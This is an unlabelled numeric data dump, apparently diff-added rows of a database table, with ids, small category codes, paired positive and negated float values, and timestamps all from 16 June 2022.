+21080,2,8502,12.38417779,-12.38417779,2022-06-16 11:27:14.357159+00 +15433,7,7370,13.1040798,-13.1040798,2022-06-16 10:52:23.971493+00 +12024,2,6714,14.11687491,-14.11687491,2022-06-16 10:28:59.302709+00 +15464,2,7434,10.30681395,-10.30681395,2022-06-16 10:52:53.530399+00 +21081,2,8422,17.26362703,-17.26362703,2022-06-16 11:27:14.358082+00 +11095,4,6494,12.11842653,-12.11842653,2022-06-16 10:22:10.740849+00 +11096,4,6495,12.12981908,-12.12981908,2022-06-16 10:22:10.744491+00 +11097,4,6526,13.81713036,-13.81713036,2022-06-16 10:22:10.745399+00 +11098,4,6527,13.46917892,-13.46917892,2022-06-16 10:22:10.74627+00 +11099,4,6518,14.61251061,-14.61251061,2022-06-16 10:22:10.747118+00 +11100,4,6519,14.55656113,-14.55656113,2022-06-16 10:22:10.747927+00 +11101,4,6455,14.49068433,-14.49068433,2022-06-16 10:22:10.748759+00 +14289,4,7168,3.507810811,-3.507810811,2022-06-16 10:44:06.121386+00 +12066,6,6719,15.12754545,-15.12754545,2022-06-16 10:29:01.955503+00 +14290,4,7152,1.546586042,-1.546586042,2022-06-16 10:44:06.125361+00 +21082,2,8486,17.19405761,-17.19405761,2022-06-16 11:27:14.358887+00 +14335,1,6945,12.82571971,-12.82571971,2022-06-16 10:44:22.752219+00 +11159,2,6474,11.92552421,-11.92552421,2022-06-16 10:22:38.320375+00 +11164,6,6443,8.212309171,-8.212309171,2022-06-16 10:22:39.641462+00 +11169,6,6459,8.020860965,-8.020860965,2022-06-16 10:22:39.884941+00 +12099,2,6702,15.31616206,-15.31616206,2022-06-16 10:29:04.956063+00 +14336,1,6961,12.84434115,-12.84434115,2022-06-16 10:44:22.75602+00 +14337,1,6937,12.7327591,-12.7327591,2022-06-16 10:44:22.757299+00 +11192,2,6464,7.052371831,-7.052371831,2022-06-16 10:23:04.580039+00 +14338,1,6953,12.58297357,-12.58297357,2022-06-16 10:44:22.75827+00 +11198,2,6494,12.90608755,-12.90608755,2022-06-16 10:23:04.723862+00 +14339,1,6969,12.55860173,-12.55860173,2022-06-16 10:44:22.759068+00 +11204,2,6495,13.00115118,-13.00115118,2022-06-16 10:23:04.875778+00 +11205,2,6518,15.46818366,-15.46818366,2022-06-16 10:23:04.879311+00 +14351,1,7199,8.86069337,-8.86069337,2022-06-16 10:44:28.751619+00 +14352,1,7223,12.1673878,-12.1673878,2022-06-16 10:44:28.752841+00 +11217,2,6526,14.50731259,-14.50731259,2022-06-16 10:23:05.177883+00 +11218,2,6527,14.24209301,-14.24209301,2022-06-16 10:23:05.182594+00 +13226,6,6907,7.694181032,-7.694181032,2022-06-16 10:36:45.670935+00 +13237,2,6896,3.105906685,-3.105906685,2022-06-16 10:37:04.467712+00 +14353,1,7231,9.877969798,-9.877969798,2022-06-16 10:44:28.753629+00 +14354,1,7230,10.08598639,-10.08598639,2022-06-16 10:44:28.754364+00 +14355,1,7222,12.19637705,-12.19637705,2022-06-16 10:44:28.755188+00 +13266,2,6967,14.56641172,-14.56641172,2022-06-16 10:37:05.143558+00 +14356,1,7198,8.999702929,-8.999702929,2022-06-16 10:44:28.75582+00 +18287,2,7997,8.113104354,-8.113104354,2022-06-16 11:10:24.583462+00 +13284,6,6942,13.22333182,-13.22333182,2022-06-16 10:37:07.163413+00 +18298,4,7955,10.05342558,-10.05342558,2022-06-16 11:10:28.429402+00 +13293,6,6974,14.9653801,-14.9653801,2022-06-16 10:37:07.624934+00 +16941,2,7798,12.79596876,-12.79596876,2022-06-16 11:03:05.006807+00 +19713,6,8319,11.69235273,-11.69235273,2022-06-16 11:18:48.22099+00 +13311,2,6885,19.7113641,-19.7113641,2022-06-16 10:37:14.413832+00 +15587,1,7416,11.93112424,-11.93112424,2022-06-16 10:53:49.835178+00 +12254,6,6781,7.136611111,-7.136611111,2022-06-16 10:30:16.615624+00 +18343,1,8045,7.613264676,-7.613264676,2022-06-16 11:10:52.907127+00 +18344,1,7793,11.32564457,-11.32564457,2022-06-16 11:10:52.910411+00 +11278,7,6346,14.39795367,-14.39795367,2022-06-16 10:23:29.458296+00 +13332,1,6904,13.03820118,-13.03820118,2022-06-16 10:37:19.732882+00 +12286,2,6717,10.96856127,-10.96856127,2022-06-16 10:30:24.480935+00 +12292,1,6691,18.54695668,-18.54695668,2022-06-16 10:30:28.687957+00 +12293,1,6675,12.9780748,-12.9780748,2022-06-16 10:30:28.689289+00 +11289,7,6474,14.328508,-14.328508,2022-06-16 10:23:36.875788+00 +12296,2,6762,11.6574821,-11.6574821,2022-06-16 10:30:34.818071+00 +18345,1,8061,7.822801413,-7.822801413,2022-06-16 11:10:52.911294+00 +15645,4,7534,12.95692128,-12.95692128,2022-06-16 10:54:11.435163+00 +15646,4,7518,9.993050889,-9.993050889,2022-06-16 10:54:11.438691+00 +15647,4,7519,9.840728223,-9.840728223,2022-06-16 10:54:11.439591+00 +15648,4,7543,12.6370081,-12.6370081,2022-06-16 10:54:11.440341+00 +18346,1,7801,11.10785662,-11.10785662,2022-06-16 11:10:52.91209+00 +15682,4,7443,10.57837352,-10.57837352,2022-06-16 10:54:28.032121+00 +18347,1,7785,11.08852071,-11.08852071,2022-06-16 11:10:52.91287+00 +12332,6,6783,14.95087347,-14.95087347,2022-06-16 10:30:39.29039+00 +18348,1,7769,11.18634317,-11.18634317,2022-06-16 11:10:52.913604+00 +12334,1,6782,11.58506911,-11.58506911,2022-06-16 10:30:43.700918+00 +12335,1,6767,12.70880142,-12.70880142,2022-06-16 10:30:43.702188+00 +12336,1,6774,12.92334074,-12.92334074,2022-06-16 10:30:43.70324+00 +12337,1,6751,9.963775007,-9.963775007,2022-06-16 10:30:43.704171+00 +12338,1,6775,12.84024668,-12.84024668,2022-06-16 10:30:43.704991+00 +12339,1,6783,11.07321144,-11.07321144,2022-06-16 10:30:43.705767+00 +12340,1,6750,9.938561833,-9.938561833,2022-06-16 10:30:43.706433+00 +11309,6,6528,7.605651326,-7.605651326,2022-06-16 10:24:01.98809+00 +12341,1,6766,12.80758494,-12.80758494,2022-06-16 10:30:43.70708+00 +15725,6,7518,13.90519048,-13.90519048,2022-06-16 10:54:41.385399+00 +26327,6,9326,11.57556732,-11.57556732,2022-06-16 11:50:53.813224+00 +13865,2,7102,12.39959151,-12.39959151,2022-06-16 10:41:05.27447+00 +11643,2,6570,11.95435023,-11.95435023,2022-06-16 10:26:13.440037+00 +16555,6,7664,2.941091549,-2.941091549,2022-06-16 11:00:10.723369+00 +10690,1,6391,13.36918037,-13.36918037,2022-06-16 10:18:46.609293+00 +10456,6,6256,4.310279907,-4.310279907,2022-06-16 10:16:55.735735+00 +10691,1,6366,11.20755712,-11.20755712,2022-06-16 10:18:46.612796+00 +10692,1,6390,13.42754851,-13.42754851,2022-06-16 10:18:46.613643+00 +10693,1,6367,11.20059126,-11.20059126,2022-06-16 10:18:46.614451+00 +10712,2,6336,7.136091581,-7.136091581,2022-06-16 10:19:04.586796+00 +10461,6,6272,7.612927435,-7.612927435,2022-06-16 10:16:55.982166+00 +10462,1,6326,13.60347272,-13.60347272,2022-06-16 10:16:58.530197+00 +10463,1,6327,13.52151077,-13.52151077,2022-06-16 10:16:58.533582+00 +10464,1,6302,11.28833658,-11.28833658,2022-06-16 10:16:58.534613+00 +10465,1,6303,11.33648475,-11.33648475,2022-06-16 10:16:58.535409+00 +21032,2,8558,9.801237895,-9.801237895,2022-06-16 11:27:04.758507+00 +10467,7,6064,11.20691002,-11.20691002,2022-06-16 10:17:01.052471+00 +10468,7,6128,11.11113399,-11.11113399,2022-06-16 10:17:01.056181+00 +10469,7,6192,11.0162583,-11.0162583,2022-06-16 10:17:01.05711+00 +10470,7,6256,10.92227251,-10.92227251,2022-06-16 10:17:01.057963+00 +10471,7,6320,10.82916619,-10.82916619,2022-06-16 10:17:01.058893+00 +15170,1,7315,11.83204636,-11.83204636,2022-06-16 10:50:40.83336+00 +10754,2,6331,9.508734293,-9.508734293,2022-06-16 10:19:14.460863+00 +15171,1,7331,18.04096219,-18.04096219,2022-06-16 10:50:40.836547+00 +11768,2,6647,15.18000851,-15.18000851,2022-06-16 10:27:05.121934+00 +15196,1,7328,8.601279462,-8.601279462,2022-06-16 10:50:58.817112+00 +21033,2,8559,9.77440164,-9.77440164,2022-06-16 11:27:04.761705+00 +15247,2,7422,11.04252544,-11.04252544,2022-06-16 10:51:05.202822+00 +10834,2,6392,15.94130429,-15.94130429,2022-06-16 10:20:09.495031+00 +11816,6,6622,13.93031385,-13.93031385,2022-06-16 10:27:23.080645+00 +10481,2,6256,3.849052619,-3.849052619,2022-06-16 10:17:04.439676+00 +16671,6,7710,14.03103036,-14.03103036,2022-06-16 11:01:09.537531+00 +10871,2,6458,14.33135504,-14.33135504,2022-06-16 10:20:24.311082+00 +14083,1,7158,12.30253418,-12.30253418,2022-06-16 10:42:37.777142+00 +14084,1,7166,10.27056452,-10.27056452,2022-06-16 10:42:37.780603+00 +10486,2,6272,7.235548315,-7.235548315,2022-06-16 10:17:04.561398+00 +14085,1,7134,9.107273404,-9.107273404,2022-06-16 10:42:37.78151+00 +14086,1,7135,9.007557529,-9.007557529,2022-06-16 10:42:37.782318+00 +14087,1,7159,12.25379351,-12.25379351,2022-06-16 10:42:37.78315+00 +10490,2,6302,13.55698708,-13.55698708,2022-06-16 10:17:04.652133+00 +12993,2,6827,9.17281197,-9.17281197,2022-06-16 10:35:14.443333+00 +10965,2,6398,14.90412143,-14.90412143,2022-06-16 10:21:04.859211+00 +10966,2,6462,14.83346983,-14.83346983,2022-06-16 10:21:04.862385+00 +14088,1,7167,10.03788295,-10.03788295,2022-06-16 10:42:37.783957+00 +15273,2,7339,8.852664233,-8.852664233,2022-06-16 10:51:14.445442+00 +10496,2,6303,13.68457672,-13.68457672,2022-06-16 10:17:04.796404+00 +13026,6,6878,13.41386252,-13.41386252,2022-06-16 10:35:30.269072+00 +11956,2,6634,11.82714966,-11.82714966,2022-06-16 10:28:13.186673+00 +24350,1,9055,7.733700244,-7.733700244,2022-06-16 11:43:08.098843+00 +10500,2,6334,15.25867814,-15.25867814,2022-06-16 10:17:04.883691+00 +14149,2,7167,11.8274447,-11.8274447,2022-06-16 10:43:05.284566+00 +21083,2,8550,17.12475608,-17.12475608,2022-06-16 11:27:14.359762+00 +21084,2,8230,17.05572352,-17.05572352,2022-06-16 11:27:14.3611+00 +10504,2,6335,14.98473473,-14.98473473,2022-06-16 10:17:04.971445+00 +13088,2,6832,3.145152261,-3.145152261,2022-06-16 10:36:04.475252+00 +10506,2,6326,15.90522638,-15.90522638,2022-06-16 10:17:04.999736+00 +12046,6,6687,13.88528822,-13.88528822,2022-06-16 10:29:01.341631+00 +21085,2,8294,16.98696097,-16.98696097,2022-06-16 11:27:14.361933+00 +10509,2,6327,15.89931484,-15.89931484,2022-06-16 10:17:05.056744+00 +12057,6,6703,16.88688981,-16.88688981,2022-06-16 10:29:01.653863+00 +14200,6,7135,13.05114263,-13.05114263,2022-06-16 10:43:34.288648+00 +12078,2,6640,3.428475335,-3.428475335,2022-06-16 10:29:04.468229+00 +21086,2,8358,16.91846943,-16.91846943,2022-06-16 11:27:14.362735+00 +10514,6,6317,7.794018716,-7.794018716,2022-06-16 10:17:05.320902+00 +11102,1,6419,13.47192848,-13.47192848,2022-06-16 10:22:13.616262+00 +19637,3,8304,3.375059533,-3.375059533,2022-06-16 11:18:16.308326+00 +18229,6,7984,2.58693073,-2.58693073,2022-06-16 11:10:11.383824+00 +12112,2,6711,15.1734224,-15.1734224,2022-06-16 10:29:05.255745+00 +10519,6,6333,7.785163393,-7.785163393,2022-06-16 10:17:07.444251+00 +10520,1,6065,15.55364066,-15.55364066,2022-06-16 10:17:07.595289+00 +10521,1,6033,15.36833965,-15.36833965,2022-06-16 10:17:07.59869+00 +10522,1,6057,15.25835262,-15.25835262,2022-06-16 10:17:07.599607+00 +10523,1,6073,15.22470509,-15.22470509,2022-06-16 10:17:07.600859+00 +10524,1,6041,15.19114739,-15.19114739,2022-06-16 10:17:07.601654+00 +15435,1,7485,8.948296163,-8.948296163,2022-06-16 10:52:31.827248+00 +11141,2,6461,11.68110235,-11.68110235,2022-06-16 10:22:24.409578+00 +12123,2,6719,13.45450391,-13.45450391,2022-06-16 10:29:05.515661+00 +15436,1,7469,8.86337411,-8.86337411,2022-06-16 10:52:31.830586+00 +11170,1,6248,20.42935965,-20.42935965,2022-06-16 10:22:43.617479+00 +24351,1,9071,7.235250845,-7.235250845,2022-06-16 11:43:08.103344+00 +13197,6,6832,3.536838229,-3.536838229,2022-06-16 10:36:22.993344+00 +10533,3,6320,6.740039786,-6.740039786,2022-06-16 10:17:09.395632+00 +11187,2,6448,3.716853372,-3.716853372,2022-06-16 10:23:04.467592+00 +12148,2,6666,11.36612777,-11.36612777,2022-06-16 10:29:28.359802+00 +12155,3,6704,6.048236832,-6.048236832,2022-06-16 10:29:37.736941+00 +13198,6,6896,3.523619668,-3.523619668,2022-06-16 10:36:22.997222+00 +13208,2,6909,10.37583239,-10.37583239,2022-06-16 10:36:24.419184+00 +12176,1,6648,13.50254478,-13.50254478,2022-06-16 10:29:58.711726+00 +13215,4,6867,11.18425255,-11.18425255,2022-06-16 10:36:27.626532+00 +10541,2,6251,9.804336528,-9.804336528,2022-06-16 10:17:14.438372+00 +14291,1,7131,7.080745503,-7.080745503,2022-06-16 10:44:10.778884+00 +13227,1,6899,14.33279616,-14.33279616,2022-06-16 10:36:49.721428+00 +13228,1,6875,7.420882223,-7.420882223,2022-06-16 10:36:49.724849+00 +14292,1,7163,5.659057493,-5.659057493,2022-06-16 10:44:10.782461+00 +10546,2,6267,9.583987987,-9.583987987,2022-06-16 10:17:14.557988+00 +13248,2,6942,11.19135258,-11.19135258,2022-06-16 10:37:04.714606+00 +11251,6,6494,14.13490735,-14.13490735,2022-06-16 10:23:17.339144+00 +14293,1,7155,13.83696512,-13.83696512,2022-06-16 10:44:10.783363+00 +12220,4,6720,3.885273943,-3.885273943,2022-06-16 10:30:05.972128+00 +11257,6,6495,14.23734425,-14.23734425,2022-06-16 10:23:17.482435+00 +12221,4,6704,1.804891478,-1.804891478,2022-06-16 10:30:05.977422+00 +10553,2,6330,14.53330387,-14.53330387,2022-06-16 10:17:19.487481+00 +11261,6,6526,15.80142689,-15.80142689,2022-06-16 10:23:17.832616+00 +11262,6,6527,15.53674768,-15.53674768,2022-06-16 10:23:17.836488+00 +13257,2,6943,11.31074766,-11.31074766,2022-06-16 10:37:04.940234+00 +14294,1,7147,5.770611475,-5.770611475,2022-06-16 10:44:10.784298+00 +10558,2,6314,12.34150937,-12.34150937,2022-06-16 10:17:36.417695+00 +24352,1,9054,7.810530031,-7.810530031,2022-06-16 11:43:08.104425+00 +12255,1,6720,5.453944839,-5.453944839,2022-06-16 10:30:16.71629+00 +12256,1,6704,2.606883347,-2.606883347,2022-06-16 10:30:16.719672+00 +14320,4,7155,12.41517447,-12.41517447,2022-06-16 10:44:20.532842+00 +14321,4,7115,15.38243553,-15.38243553,2022-06-16 10:44:20.534058+00 +11277,1,6456,13.77616944,-13.77616944,2022-06-16 10:23:28.661317+00 +12281,6,6720,7.522235778,-7.522235778,2022-06-16 10:30:21.463335+00 +12288,1,6699,6.605847726,-6.605847726,2022-06-16 10:30:25.689141+00 +12289,1,6683,7.726295181,-7.726295181,2022-06-16 10:30:25.690004+00 +12290,1,6715,6.437854708,-6.437854708,2022-06-16 10:30:25.690841+00 +12297,1,6561,14.03096438,-14.03096438,2022-06-16 10:30:37.715906+00 +12298,1,6513,14.07902154,-14.07902154,2022-06-16 10:30:37.719268+00 +12299,1,6521,13.82939539,-13.82939539,2022-06-16 10:30:37.720121+00 +12656,2,6830,14.74675869,-14.74675869,2022-06-16 10:33:05.076106+00 +34422,1,10559,3.889500997,-3.889500997,2022-06-16 12:28:59.331489+00 +12691,6,6768,3.684751398,-3.684751398,2022-06-16 10:33:12.159729+00 +11678,4,6587,5.728596902,-5.728596902,2022-06-16 10:26:22.008132+00 +11679,4,6299,6.895491883,-6.895491883,2022-06-16 10:26:22.011619+00 +11680,4,6363,6.873614774,-6.873614774,2022-06-16 10:26:22.012537+00 +11681,4,6427,6.851846842,-6.851846842,2022-06-16 10:26:22.013357+00 +11682,4,6491,6.830187383,-6.830187383,2022-06-16 10:26:22.014192+00 +11683,4,6555,6.808635696,-6.808635696,2022-06-16 10:26:22.015048+00 +11711,6,6653,7.303703182,-7.303703182,2022-06-16 10:26:41.692041+00 +24353,1,9087,5.569893858,-5.569893858,2022-06-16 11:43:08.10544+00 +18031,2,7936,5.950419148,-5.950419148,2022-06-16 11:09:04.570615+00 +12743,3,6832,5.884851805,-5.884851805,2022-06-16 10:33:46.240838+00 +15172,1,7405,9.02750473,-9.02750473,2022-06-16 10:50:43.831337+00 +15173,1,7421,9.048804927,-9.048804927,2022-06-16 10:50:43.834645+00 +15219,2,7360,6.268341468,-6.268341468,2022-06-16 10:51:04.570365+00 +16640,2,7726,12.63333551,-12.63333551,2022-06-16 11:01:04.940184+00 +24398,6,9087,9.396708363,-9.396708363,2022-06-16 11:43:11.149595+00 +21129,3,8575,14.26436615,-14.26436615,2022-06-16 11:27:54.241541+00 +28016,1,9517,4.540432373,-4.540432373,2022-06-16 11:56:08.110541+00 +28017,1,9533,4.666262111,-4.666262111,2022-06-16 11:56:08.114213+00 +32208,6,10143,11.10439886,-11.10439886,2022-06-16 12:17:10.309049+00 +18173,3,7984,3.964563305,-3.964563305,2022-06-16 11:09:59.469931+00 +21245,6,8589,14.71519967,-14.71519967,2022-06-16 11:28:14.48941+00 +21279,4,8531,9.594686179,-9.594686179,2022-06-16 11:28:22.802656+00 +11969,2,6637,11.15254437,-11.15254437,2022-06-16 10:28:19.453378+00 +15437,2,7466,10.82116424,-10.82116424,2022-06-16 10:52:37.365491+00 +11986,6,6635,8.104932812,-8.104932812,2022-06-16 10:28:31.859911+00 +18256,3,7982,18.52256484,-18.52256484,2022-06-16 11:10:18.237367+00 +12000,6,6640,3.794872674,-3.794872674,2022-06-16 10:28:36.928498+00 +16888,6,7790,16.44947874,-16.44947874,2022-06-16 11:02:46.636015+00 +12036,6,6686,13.81910308,-13.81910308,2022-06-16 10:29:01.184596+00 +32242,3,10158,14.02892182,-14.02892182,2022-06-16 12:17:19.033436+00 +11345,4,6512,1.949081505,-1.949081505,2022-06-16 10:24:06.371676+00 +11346,4,6528,3.895371954,-3.895371954,2022-06-16 10:24:06.376744+00 +11347,1,6573,10.7666714,-10.7666714,2022-06-16 10:24:07.634615+00 +11348,4,6509,8.491286878,-8.491286878,2022-06-16 10:24:08.867801+00 +11349,4,6525,8.505032003,-8.505032003,2022-06-16 10:24:08.871141+00 +11350,4,6574,15.04378122,-15.04378122,2022-06-16 10:24:10.412167+00 +11351,4,6558,11.8799074,-11.8799074,2022-06-16 10:24:10.415291+00 +11352,4,6583,14.42777394,-14.42777394,2022-06-16 10:24:10.41614+00 +11353,1,6313,14.43680474,-14.43680474,2022-06-16 10:24:13.666498+00 +11354,1,6329,14.40603712,-14.40603712,2022-06-16 10:24:13.669999+00 +11355,1,6297,14.37588409,-14.37588409,2022-06-16 10:24:13.670987+00 +11356,1,6321,14.56794951,-14.56794951,2022-06-16 10:24:13.671931+00 +11357,1,6289,14.38885497,-14.38885497,2022-06-16 10:24:13.672913+00 +12048,6,6701,7.193657028,-7.193657028,2022-06-16 10:29:01.36536+00 +13056,6,6911,14.67466512,-14.67466512,2022-06-16 10:35:31.388669+00 +13070,4,6776,10.36216864,-10.36216864,2022-06-16 10:35:48.765886+00 +16919,2,7728,2.628492242,-2.628492242,2022-06-16 11:03:04.464107+00 +21295,1,8623,8.274743064,-8.274743064,2022-06-16 11:28:28.982397+00 +12102,2,6703,15.20580907,-15.20580907,2022-06-16 10:29:05.018013+00 +14295,4,7165,7.70061052,-7.70061052,2022-06-16 10:44:11.078795+00 +14296,4,7149,7.656372183,-7.656372183,2022-06-16 10:44:11.082089+00 +11366,1,6591,11.84328501,-11.84328501,2022-06-16 10:24:16.680583+00 +11367,1,6582,13.14601254,-13.14601254,2022-06-16 10:24:16.683866+00 +11368,1,6507,6.992211473,-6.992211473,2022-06-16 10:24:16.684656+00 +11369,1,6559,10.6192975,-10.6192975,2022-06-16 10:24:16.685378+00 +11370,1,6558,10.5675386,-10.5675386,2022-06-16 10:24:16.686109+00 +11371,1,6523,6.824023611,-6.824023611,2022-06-16 10:24:16.686908+00 +11372,1,6574,13.54547404,-13.54547404,2022-06-16 10:24:16.687636+00 +11373,1,6583,12.99156739,-12.99156739,2022-06-16 10:24:16.688361+00 +14297,4,7222,13.58170232,-13.58170232,2022-06-16 10:44:11.08298+00 +11375,7,6410,14.2594643,-14.2594643,2022-06-16 10:24:17.103734+00 +14298,4,7198,10.18881964,-10.18881964,2022-06-16 10:44:11.083757+00 +14299,4,7199,9.995047019,-9.995047019,2022-06-16 10:44:11.084582+00 +14300,4,7230,11.29370548,-11.29370548,2022-06-16 10:44:11.085339+00 +11379,6,6573,7.410271934,-7.410271934,2022-06-16 10:24:17.2098+00 +14301,4,7231,11.10378191,-11.10378191,2022-06-16 10:44:11.086435+00 +21296,1,8622,8.322019117,-8.322019117,2022-06-16 11:28:28.983726+00 +15568,3,7350,20.10300661,-20.10300661,2022-06-16 10:53:36.346286+00 +13229,1,6867,12.69570741,-12.69570741,2022-06-16 10:36:55.722746+00 +13230,1,6883,18.43598024,-18.43598024,2022-06-16 10:36:55.726091+00 +15569,3,7414,19.99898325,-19.99898325,2022-06-16 10:53:36.349857+00 +11386,6,6589,7.42481476,-7.42481476,2022-06-16 10:24:19.351694+00 +15570,3,7478,19.89530621,-19.89530621,2022-06-16 10:53:36.350825+00 +14386,2,7199,10.53085987,-10.53085987,2022-06-16 10:45:04.734868+00 +11389,2,6509,11.40104951,-11.40104951,2022-06-16 10:24:19.425045+00 +11390,1,6528,5.636420092,-5.636420092,2022-06-16 10:24:19.637465+00 +11391,1,6512,2.901543098,-2.901543098,2022-06-16 10:24:19.640976+00 +11392,4,6523,5.859139435,-5.859139435,2022-06-16 10:24:21.405982+00 +11393,4,6507,5.994237667,-5.994237667,2022-06-16 10:24:21.407161+00 +11394,1,6504,20.32578332,-20.32578332,2022-06-16 10:24:22.664625+00 +13269,2,6974,12.8128074,-12.8128074,2022-06-16 10:37:05.203492+00 +21297,1,8607,8.103593427,-8.103593427,2022-06-16 11:28:28.984608+00 +13278,2,6975,12.41578418,-12.41578418,2022-06-16 10:37:05.432885+00 +12222,4,6701,8.184519602,-8.184519602,2022-06-16 10:30:10.811513+00 +11399,2,6525,11.40903908,-11.40903908,2022-06-16 10:24:24.422301+00 +11400,7,6282,14.19082148,-14.19082148,2022-06-16 10:24:25.925704+00 +12223,4,6717,8.174766404,-8.174766404,2022-06-16 10:30:10.815316+00 +12224,4,6686,11.33013693,-11.33013693,2022-06-16 10:30:10.816229+00 +12225,4,6750,11.27967667,-11.27967667,2022-06-16 10:30:10.817063+00 +12226,4,6687,11.3191378,-11.3191378,2022-06-16 10:30:10.817878+00 +12227,4,6751,11.26900576,-11.26900576,2022-06-16 10:30:10.818871+00 +11406,6,6558,13.99720792,-13.99720792,2022-06-16 10:24:39.328487+00 +12228,4,6702,14.33589661,-14.33589661,2022-06-16 10:30:10.819712+00 +12229,4,6766,14.27162448,-14.27162448,2022-06-16 10:30:10.820509+00 +12230,4,6703,14.14638136,-14.14638136,2022-06-16 10:30:10.821608+00 +12231,4,6767,14.08321185,-14.08321185,2022-06-16 10:30:10.822412+00 +12232,4,6774,14.16693473,-14.16693473,2022-06-16 10:30:10.82433+00 +11412,6,6559,14.16536169,-14.16536169,2022-06-16 10:24:39.470412+00 +11413,6,6574,17.20244399,-17.20244399,2022-06-16 10:24:39.598896+00 +11414,6,6575,17.22666975,-17.22666975,2022-06-16 10:24:39.604471+00 +12233,4,6775,14.08852259,-14.08852259,2022-06-16 10:30:10.82504+00 +12234,4,6782,12.86901624,-12.86901624,2022-06-16 10:30:10.82575+00 +12235,4,6719,12.41438491,-12.41438491,2022-06-16 10:30:10.826465+00 +12236,4,6783,12.35922355,-12.35922355,2022-06-16 10:30:10.827191+00 +12241,6,6765,7.143569733,-7.143569733,2022-06-16 10:30:13.813196+00 +11420,6,6591,15.42003318,-15.42003318,2022-06-16 10:24:39.888964+00 +21298,1,8606,8.174774082,-8.174774082,2022-06-16 11:28:28.985367+00 +14412,2,7231,11.63818207,-11.63818207,2022-06-16 10:45:05.376904+00 +12257,4,6707,13.12963008,-13.12963008,2022-06-16 10:30:18.858787+00 +12262,2,6701,10.98793055,-10.98793055,2022-06-16 10:30:19.559255+00 +18399,2,8062,8.987389275,-8.987389275,2022-06-16 11:11:05.172566+00 +12272,2,6730,11.31819221,-11.31819221,2022-06-16 10:30:21.146345+00 +12276,6,6704,3.747444848,-3.747444848,2022-06-16 10:30:21.242287+00 +39597,1,11413,12.86496149,-12.86496149,2022-06-16 12:56:53.49043+00 +11429,6,6512,4.025793852,-4.025793852,2022-06-16 10:24:54.957247+00 +21337,1,8637,5.90792816,-5.90792816,2022-06-16 11:28:37.981781+00 +12287,1,6707,14.68923722,-14.68923722,2022-06-16 10:30:25.687689+00 +13830,2,7024,3.004859453,-3.004859453,2022-06-16 10:41:04.432103+00 +39598,1,11363,20.95021165,-20.95021165,2022-06-16 12:56:56.490572+00 +13868,2,7103,11.98405138,-11.98405138,2022-06-16 10:41:05.334351+00 +11435,1,6491,8.071971048,-8.071971048,2022-06-16 10:24:55.635662+00 +11436,1,6515,15.08200823,-15.08200823,2022-06-16 10:24:55.639254+00 +11437,4,6456,10.4485732,-10.4485732,2022-06-16 10:24:56.74939+00 +11438,1,6483,13.38804371,-13.38804371,2022-06-16 10:24:58.635686+00 +11439,1,6499,18.25648176,-18.25648176,2022-06-16 10:24:58.639039+00 +12744,7,6730,13.90055605,-13.90055605,2022-06-16 10:33:47.180627+00 +11712,1,6555,7.901380619,-7.901380619,2022-06-16 10:26:43.660842+00 +11713,1,6587,6.643106244,-6.643106244,2022-06-16 10:26:43.664317+00 +11714,1,6579,14.85783712,-14.85783712,2022-06-16 10:26:43.665187+00 +11444,6,6507,8.136325346,-8.136325346,2022-06-16 10:25:00.808274+00 +11715,1,6571,6.771015309,-6.771015309,2022-06-16 10:26:43.665984+00 +19415,6,8222,13.87584901,-13.87584901,2022-06-16 11:17:09.633842+00 +13899,1,6872,13.86501544,-13.86501544,2022-06-16 10:41:19.788204+00 +26379,2,9280,5.084395886,-5.084395886,2022-06-16 11:51:04.596767+00 +15174,2,7402,10.86561393,-10.86561393,2022-06-16 10:50:46.354522+00 +12839,4,6848,3.833674461,-3.833674461,2022-06-16 10:34:06.517726+00 +11836,6,6654,15.67968382,-15.67968382,2022-06-16 10:27:23.774209+00 +12840,4,6832,1.765076833,-1.765076833,2022-06-16 10:34:06.521862+00 +19454,2,8171,7.956218719,-7.956218719,2022-06-16 11:17:14.424574+00 +24399,4,8920,9.555074638,-9.555074638,2022-06-16 11:43:13.549499+00 +12923,6,6893,6.91729664,-6.91729664,2022-06-16 10:35:00.258012+00 +39599,1,11392,1.301372521,-1.301372521,2022-06-16 12:56:56.494228+00 +12957,2,6895,14.37905854,-14.37905854,2022-06-16 10:35:04.893569+00 +16731,4,7480,9.865589886,-9.865589886,2022-06-16 11:01:29.695718+00 +19521,3,8189,11.08575149,-11.08575149,2022-06-16 11:17:52.326297+00 +30171,6,9792,5.342455378,-5.342455378,2022-06-16 12:06:28.032556+00 +30178,1,9770,10.28645156,-10.28645156,2022-06-16 12:06:32.188614+00 +21246,2,8614,16.85882171,-16.85882171,2022-06-16 11:28:14.492557+00 +39600,1,11376,0.554428573,0,2022-06-16 12:56:56.495518+00 +13058,2,6890,11.45842877,-11.45842877,2022-06-16 10:35:33.962766+00 +13071,1,6832,2.470499829,-2.470499829,2022-06-16 10:35:52.721316+00 +19639,1,8235,4.979150444,-4.979150444,2022-06-16 11:18:16.949671+00 +15438,1,7193,12.2411194,-12.2411194,2022-06-16 10:52:37.830828+00 +15439,1,7403,5.427561158,-5.427561158,2022-06-16 10:52:37.834229+00 +15440,1,7217,12.30294181,-12.30294181,2022-06-16 10:52:37.835117+00 +15441,1,7419,5.297766631,-5.297766631,2022-06-16 10:52:37.835948+00 +12092,2,6687,12.27910372,-12.27910372,2022-06-16 10:29:04.773808+00 +13157,6,6957,6.886004661,-6.886004661,2022-06-16 10:36:11.512407+00 +15442,1,7209,12.07255116,-12.07255116,2022-06-16 10:52:37.836711+00 +15443,1,7225,12.05002235,-12.05002235,2022-06-16 10:52:37.837512+00 +14302,1,7139,18.22656117,-18.22656117,2022-06-16 10:44:13.7776+00 +14303,1,7123,12.26191184,-12.26191184,2022-06-16 10:44:13.781039+00 +13221,6,6891,7.875150951,-7.875150951,2022-06-16 10:36:45.426108+00 +13231,1,6957,9.908304175,-9.908304175,2022-06-16 10:36:58.733553+00 +13232,1,6973,9.892949421,-9.892949421,2022-06-16 10:36:58.737056+00 +18318,6,7982,15.79087356,-15.79087356,2022-06-16 11:10:40.216945+00 +15486,2,7424,6.252956546,-6.252956546,2022-06-16 10:53:04.586302+00 +13260,2,6966,14.56349396,-14.56349396,2022-06-16 10:37:04.999875+00 +18319,6,8046,15.70993198,-15.70993198,2022-06-16 11:10:40.220313+00 +18320,6,8047,15.73452391,-15.73452391,2022-06-16 11:10:40.221089+00 +14373,2,7152,3.004514757,-3.004514757,2022-06-16 10:45:04.456775+00 +15522,2,7487,10.64687063,-10.64687063,2022-06-16 10:53:05.155342+00 +19640,1,8251,4.8622155,-4.8622155,2022-06-16 11:18:16.953053+00 +13305,6,6975,14.5753812,-14.5753812,2022-06-16 10:37:07.870515+00 